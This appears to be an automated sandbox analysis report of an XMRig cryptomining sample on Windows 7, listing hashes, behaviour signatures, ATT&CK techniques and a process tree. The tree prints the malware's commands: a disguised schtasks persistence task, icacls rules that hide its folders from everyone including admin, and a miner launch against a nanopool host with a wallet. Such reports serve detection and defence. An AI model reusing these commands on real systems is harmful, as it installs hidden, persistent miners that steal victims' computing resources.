xmrig | 3680374ad10154284b2416650dc1580d1dc17fa17571becd25f5480fc29a14d5

Analysis

max time kernel
109s
max time network
142s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
24-12-2024 23:39

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General

Target

JaffaCakes118_3680374ad10154284b2416650dc1580d1dc17fa17571becd25f5480fc29a14d5.exe
Size

11.8MB
MD5

a5816f6bba79d7761d42ee61d8bd11f5
SHA1

90c05a7427b077fbe81c34fd6fc4f2e6bc608558
SHA256

3680374ad10154284b2416650dc1580d1dc17fa17571becd25f5480fc29a14d5
SHA512

51c794ce8569c367f475ffb85c15f5efa10c5ea7da86b1336fbeb1cab2fcf5468a26feed252a2fe5eaa5a376a9ae9bd5f87d9b28cc90580e6e98b3d242076eda
SSDEEP

196608:kF7gX0Meai3sCD1yjXEypazPx7WVacovyq6aejL+jGD71iEHiaJzZvdE+cZLIAfr:kF7oxeOOy9ajx0rq+jL+aD5iORdKZMkr

Score

10^/10

xmrig discovery miner

Malware Config

Signatures

Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 34 IoCs

miner

resource	yara_rule
behavioral1/memory/1480-2-0x000000013F140000-0x00000001411D8000-memory.dmp	xmrig
behavioral1/memory/1480-3-0x000000013F140000-0x00000001411D8000-memory.dmp	xmrig
behavioral1/memory/1480-4-0x000000013F140000-0x00000001411D8000-memory.dmp	xmrig
behavioral1/memory/1480-5-0x000000013F140000-0x00000001411D8000-memory.dmp	xmrig
behavioral1/memory/1480-6-0x000000013F140000-0x00000001411D8000-memory.dmp	xmrig
behavioral1/memory/1480-9-0x000000013F140000-0x00000001411D8000-memory.dmp	xmrig
behavioral1/memory/1480-14-0x000000013F140000-0x00000001411D8000-memory.dmp	xmrig
behavioral1/memory/3036-20-0x000000013FC90000-0x0000000141D28000-memory.dmp	xmrig
behavioral1/memory/3036-21-0x000000013FC90000-0x0000000141D28000-memory.dmp	xmrig
behavioral1/memory/3036-22-0x000000013FC90000-0x0000000141D28000-memory.dmp	xmrig
behavioral1/memory/3036-19-0x000000013FC90000-0x0000000141D28000-memory.dmp	xmrig
behavioral1/memory/3036-23-0x000000013FC90000-0x0000000141D28000-memory.dmp	xmrig
behavioral1/memory/2072-38-0x000000013FA90000-0x0000000141B28000-memory.dmp	xmrig
behavioral1/memory/2072-37-0x000000013FA90000-0x0000000141B28000-memory.dmp	xmrig
behavioral1/memory/2072-39-0x000000013FA90000-0x0000000141B28000-memory.dmp	xmrig
behavioral1/memory/2072-40-0x000000013FA90000-0x0000000141B28000-memory.dmp	xmrig
behavioral1/memory/2072-41-0x000000013FA90000-0x0000000141B28000-memory.dmp	xmrig
behavioral1/memory/3036-43-0x000000013FC90000-0x0000000141D28000-memory.dmp	xmrig
behavioral1/memory/2072-45-0x000000013FA90000-0x0000000141B28000-memory.dmp	xmrig
behavioral1/memory/3036-46-0x000000013FC90000-0x0000000141D28000-memory.dmp	xmrig
behavioral1/memory/2072-47-0x000000013FA90000-0x0000000141B28000-memory.dmp	xmrig
behavioral1/memory/3036-48-0x000000013FC90000-0x0000000141D28000-memory.dmp	xmrig
behavioral1/memory/2072-49-0x000000013FA90000-0x0000000141B28000-memory.dmp	xmrig
behavioral1/memory/3036-50-0x000000013FC90000-0x0000000141D28000-memory.dmp	xmrig
behavioral1/memory/2072-51-0x000000013FA90000-0x0000000141B28000-memory.dmp	xmrig
behavioral1/memory/3036-52-0x000000013FC90000-0x0000000141D28000-memory.dmp	xmrig
behavioral1/memory/2072-54-0x000000013FA90000-0x0000000141B28000-memory.dmp	xmrig
behavioral1/memory/3036-55-0x000000013FC90000-0x0000000141D28000-memory.dmp	xmrig
behavioral1/memory/2072-56-0x000000013FA90000-0x0000000141B28000-memory.dmp	xmrig
behavioral1/memory/3036-57-0x000000013FC90000-0x0000000141D28000-memory.dmp	xmrig
behavioral1/memory/2072-58-0x000000013FA90000-0x0000000141B28000-memory.dmp	xmrig
behavioral1/memory/3036-59-0x000000013FC90000-0x0000000141D28000-memory.dmp	xmrig
behavioral1/memory/2072-60-0x000000013FA90000-0x0000000141B28000-memory.dmp	xmrig
behavioral1/memory/3036-61-0x000000013FC90000-0x0000000141D28000-memory.dmp	xmrig

Executes dropped EXE 2 IoCs

pid	Process
3036	CertificateClient.exe
2072	msvcr_client.exe

Loads dropped DLL 2 IoCs

pid	Process
2636	taskeng.exe
3036	CertificateClient.exe

Modifies file permissions 1 TTPs 6 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2444	icacls.exe
1768	icacls.exe
2796	icacls.exe
1460	icacls.exe
836	icacls.exe
1860	icacls.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 16 IoCs

pid	Process
1480	JaffaCakes118_3680374ad10154284b2416650dc1580d1dc17fa17571becd25f5480fc29a14d5.exe
1480	JaffaCakes118_3680374ad10154284b2416650dc1580d1dc17fa17571becd25f5480fc29a14d5.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
2072	msvcr_client.exe
2072	msvcr_client.exe
3036	CertificateClient.exe
2072	msvcr_client.exe
3036	CertificateClient.exe
2072	msvcr_client.exe
3036	CertificateClient.exe
2072	msvcr_client.exe
3036	CertificateClient.exe
2072	msvcr_client.exe
3036	CertificateClient.exe
2072	msvcr_client.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2096	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe
3036	CertificateClient.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3036	CertificateClient.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	2072	msvcr_client.exe
Token: SeLockMemoryPrivilege	2072	msvcr_client.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2072	msvcr_client.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 1480 wrote to memory of 2096	1480	JaffaCakes118_3680374ad10154284b2416650dc1580d1dc17fa17571becd25f5480fc29a14d5.exe	31
PID 1480 wrote to memory of 2096	1480	JaffaCakes118_3680374ad10154284b2416650dc1580d1dc17fa17571becd25f5480fc29a14d5.exe	31
PID 1480 wrote to memory of 2096	1480	JaffaCakes118_3680374ad10154284b2416650dc1580d1dc17fa17571becd25f5480fc29a14d5.exe	31
PID 1480 wrote to memory of 2444	1480	JaffaCakes118_3680374ad10154284b2416650dc1580d1dc17fa17571becd25f5480fc29a14d5.exe	33
PID 1480 wrote to memory of 2444	1480	JaffaCakes118_3680374ad10154284b2416650dc1580d1dc17fa17571becd25f5480fc29a14d5.exe	33
PID 1480 wrote to memory of 2444	1480	JaffaCakes118_3680374ad10154284b2416650dc1580d1dc17fa17571becd25f5480fc29a14d5.exe	33
PID 1480 wrote to memory of 1768	1480	JaffaCakes118_3680374ad10154284b2416650dc1580d1dc17fa17571becd25f5480fc29a14d5.exe	35
PID 1480 wrote to memory of 1768	1480	JaffaCakes118_3680374ad10154284b2416650dc1580d1dc17fa17571becd25f5480fc29a14d5.exe	35
PID 1480 wrote to memory of 1768	1480	JaffaCakes118_3680374ad10154284b2416650dc1580d1dc17fa17571becd25f5480fc29a14d5.exe	35
PID 1480 wrote to memory of 2796	1480	JaffaCakes118_3680374ad10154284b2416650dc1580d1dc17fa17571becd25f5480fc29a14d5.exe	37
PID 1480 wrote to memory of 2796	1480	JaffaCakes118_3680374ad10154284b2416650dc1580d1dc17fa17571becd25f5480fc29a14d5.exe	37
PID 1480 wrote to memory of 2796	1480	JaffaCakes118_3680374ad10154284b2416650dc1580d1dc17fa17571becd25f5480fc29a14d5.exe	37
PID 2636 wrote to memory of 3036	2636	taskeng.exe	40
PID 2636 wrote to memory of 3036	2636	taskeng.exe	40
PID 2636 wrote to memory of 3036	2636	taskeng.exe	40
PID 3036 wrote to memory of 1460	3036	CertificateClient.exe	41
PID 3036 wrote to memory of 1460	3036	CertificateClient.exe	41
PID 3036 wrote to memory of 1460	3036	CertificateClient.exe	41
PID 3036 wrote to memory of 836	3036	CertificateClient.exe	43
PID 3036 wrote to memory of 836	3036	CertificateClient.exe	43
PID 3036 wrote to memory of 836	3036	CertificateClient.exe	43
PID 3036 wrote to memory of 1860	3036	CertificateClient.exe	45
PID 3036 wrote to memory of 1860	3036	CertificateClient.exe	45
PID 3036 wrote to memory of 1860	3036	CertificateClient.exe	45
PID 3036 wrote to memory of 2072	3036	CertificateClient.exe	47
PID 3036 wrote to memory of 2072	3036	CertificateClient.exe	47
PID 3036 wrote to memory of 2072	3036	CertificateClient.exe	47

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_3680374ad10154284b2416650dc1580d1dc17fa17571becd25f5480fc29a14d5.exe
"C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_3680374ad10154284b2416650dc1580d1dc17fa17571becd25f5480fc29a14d5.exe"
1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
PID:1480
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /CREATE /TN "Windows\CertificateServicesClient\CryptoPolicyTask" /TR "C:\ProgramData\msvcr_cache\CertificateClient.exe" /SC MINUTE
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2096
- C:\Windows\System32\icacls.exe
  "C:\Windows\System32\icacls.exe" "C:\ProgramData\msvcr_cache" /inheritance:e /deny "*S-1-1-0:(R,REA,RA,RD)"
  2⤵
  - Modifies file permissions
  PID:2444
- C:\Windows\System32\icacls.exe
  "C:\Windows\System32\icacls.exe" "C:\ProgramData\msvcr_cache" /inheritance:e /deny "*S-1-5-7:(R,REA,RA,RD)"
  2⤵
  - Modifies file permissions
  PID:1768
- C:\Windows\System32\icacls.exe
  "C:\Windows\System32\icacls.exe" "C:\ProgramData\msvcr_cache" /inheritance:e /deny "admin:(R,REA,RA,RD)"
  2⤵
  - Modifies file permissions
  PID:2796

C:\Windows\system32\taskeng.exe
taskeng.exe {24FEC3CE-A4FD-40F0-987D-0D1A9DAF86A4} S-1-5-21-1488793075-819845221-1497111674-1000:UPNECVIU\Admin:Interactive:[1]
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2636
- C:\ProgramData\msvcr_cache\CertificateClient.exe
  C:\ProgramData\msvcr_cache\CertificateClient.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of WriteProcessMemory
  PID:3036
- - C:\Windows\System32\icacls.exe
    "C:\Windows\System32\icacls.exe" "C:\ProgramData\CertificateServicesServer" /inheritance:e /deny "*S-1-1-0:(R,REA,RA,RD)"
    3⤵
    - Modifies file permissions
    PID:1460
- - C:\Windows\System32\icacls.exe
    "C:\Windows\System32\icacls.exe" "C:\ProgramData\CertificateServicesServer" /inheritance:e /deny "*S-1-5-7:(R,REA,RA,RD)"
    3⤵
    - Modifies file permissions
    PID:836
- - C:\Windows\System32\icacls.exe
    "C:\Windows\System32\icacls.exe" "C:\ProgramData\CertificateServicesServer" /inheritance:e /deny "admin:(R,REA,RA,RD)"
    3⤵
    - Modifies file permissions
    PID:1860
- - C:\ProgramData\CertificateServicesServer\msvcr_client.exe
    "C:\ProgramData\CertificateServicesServer\msvcr_client.exe" -o xmr-eu1.nanopool.org:14444 -u 49ZWqdCaWsNRwMPmgBraFaQXgs2PMJacE7aaDCf7CsnAfcE1KM93L93f8jN6a8C5Z2CBXGFnHX1LkK6rsKmbjmnqDhbr2jR -a rx/0 -p x --cpu-max-threads-hint=80
    3⤵
    - Executes dropped EXE
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:2072

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

File and Directory Permissions Modification

T1222

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1480-0-0x000000013F140000-0x00000001411D8000-memory.dmp

Filesize
32.6MB

Download
memory/1480-1-0x000007FFFFBD0000-0x000007FFFFFA1000-memory.dmp

Filesize
3.8MB

Download
memory/1480-2-0x000000013F140000-0x00000001411D8000-memory.dmp

Filesize
32.6MB

Download
memory/1480-7-0x0000000001F60000-0x0000000001F80000-memory.dmp

Filesize
128KB

Download
memory/1480-3-0x000000013F140000-0x00000001411D8000-memory.dmp

Filesize
32.6MB

Download
memory/1480-4-0x000000013F140000-0x00000001411D8000-memory.dmp

Filesize
32.6MB

Download
memory/1480-5-0x000000013F140000-0x00000001411D8000-memory.dmp

Filesize
32.6MB

Download
memory/1480-6-0x000000013F140000-0x00000001411D8000-memory.dmp

Filesize
32.6MB

Download
memory/1480-9-0x000000013F140000-0x00000001411D8000-memory.dmp

Filesize
32.6MB

Download
memory/1480-11-0x000007FFFFBD0000-0x000007FFFFFA1000-memory.dmp

Filesize
3.8MB

Download
memory/1480-12-0x00000000773B0000-0x00000000773C0000-memory.dmp

Filesize
64KB

Download
memory/1480-14-0x000000013F140000-0x00000001411D8000-memory.dmp

Filesize
32.6MB

Download
memory/2072-39-0x000000013FA90000-0x0000000141B28000-memory.dmp

Filesize
32.6MB

Download
memory/2072-47-0x000000013FA90000-0x0000000141B28000-memory.dmp

Filesize
32.6MB

Download
memory/2072-62-0x000000013FA90000-0x0000000141B28000-memory.dmp

Filesize
32.6MB

Download
memory/2072-60-0x000000013FA90000-0x0000000141B28000-memory.dmp

Filesize
32.6MB

Download
memory/2072-58-0x000000013FA90000-0x0000000141B28000-memory.dmp

Filesize
32.6MB

Download
memory/2072-56-0x000000013FA90000-0x0000000141B28000-memory.dmp

Filesize
32.6MB

Download
memory/2072-38-0x000000013FA90000-0x0000000141B28000-memory.dmp

Filesize
32.6MB

Download
memory/2072-37-0x000000013FA90000-0x0000000141B28000-memory.dmp

Filesize
32.6MB

Download
memory/2072-54-0x000000013FA90000-0x0000000141B28000-memory.dmp

Filesize
32.6MB

Download
memory/2072-40-0x000000013FA90000-0x0000000141B28000-memory.dmp

Filesize
32.6MB

Download
memory/2072-41-0x000000013FA90000-0x0000000141B28000-memory.dmp

Filesize
32.6MB

Download
memory/2072-51-0x000000013FA90000-0x0000000141B28000-memory.dmp

Filesize
32.6MB

Download
memory/2072-49-0x000000013FA90000-0x0000000141B28000-memory.dmp

Filesize
32.6MB

Download
memory/2072-45-0x000000013FA90000-0x0000000141B28000-memory.dmp

Filesize
32.6MB

Download
memory/2636-18-0x000000013FC90000-0x0000000141D28000-memory.dmp

Filesize
32.6MB

Download
memory/2636-44-0x000000013FC90000-0x0000000141D28000-memory.dmp

Filesize
32.6MB

Download
memory/3036-23-0x000000013FC90000-0x0000000141D28000-memory.dmp

Filesize
32.6MB

Download
memory/3036-57-0x000000013FC90000-0x0000000141D28000-memory.dmp

Filesize
32.6MB

Download
memory/3036-50-0x000000013FC90000-0x0000000141D28000-memory.dmp

Filesize
32.6MB

Download
memory/3036-43-0x000000013FC90000-0x0000000141D28000-memory.dmp

Filesize
32.6MB

Download
memory/3036-52-0x000000013FC90000-0x0000000141D28000-memory.dmp

Filesize
32.6MB

Download
memory/3036-20-0x000000013FC90000-0x0000000141D28000-memory.dmp

Filesize
32.6MB

Download
memory/3036-48-0x000000013FC90000-0x0000000141D28000-memory.dmp

Filesize
32.6MB

Download
memory/3036-46-0x000000013FC90000-0x0000000141D28000-memory.dmp

Filesize
32.6MB

Download
memory/3036-55-0x000000013FC90000-0x0000000141D28000-memory.dmp

Filesize
32.6MB

Download
memory/3036-19-0x000000013FC90000-0x0000000141D28000-memory.dmp

Filesize
32.6MB

Download
memory/3036-59-0x000000013FC90000-0x0000000141D28000-memory.dmp

Filesize
32.6MB

Download
memory/3036-22-0x000000013FC90000-0x0000000141D28000-memory.dmp

Filesize
32.6MB

Download
memory/3036-61-0x000000013FC90000-0x0000000141D28000-memory.dmp

Filesize
32.6MB

Download
memory/3036-21-0x000000013FC90000-0x0000000141D28000-memory.dmp

Filesize
32.6MB

Download
memory/3036-63-0x000000013FC90000-0x0000000141D28000-memory.dmp

Filesize
32.6MB

Download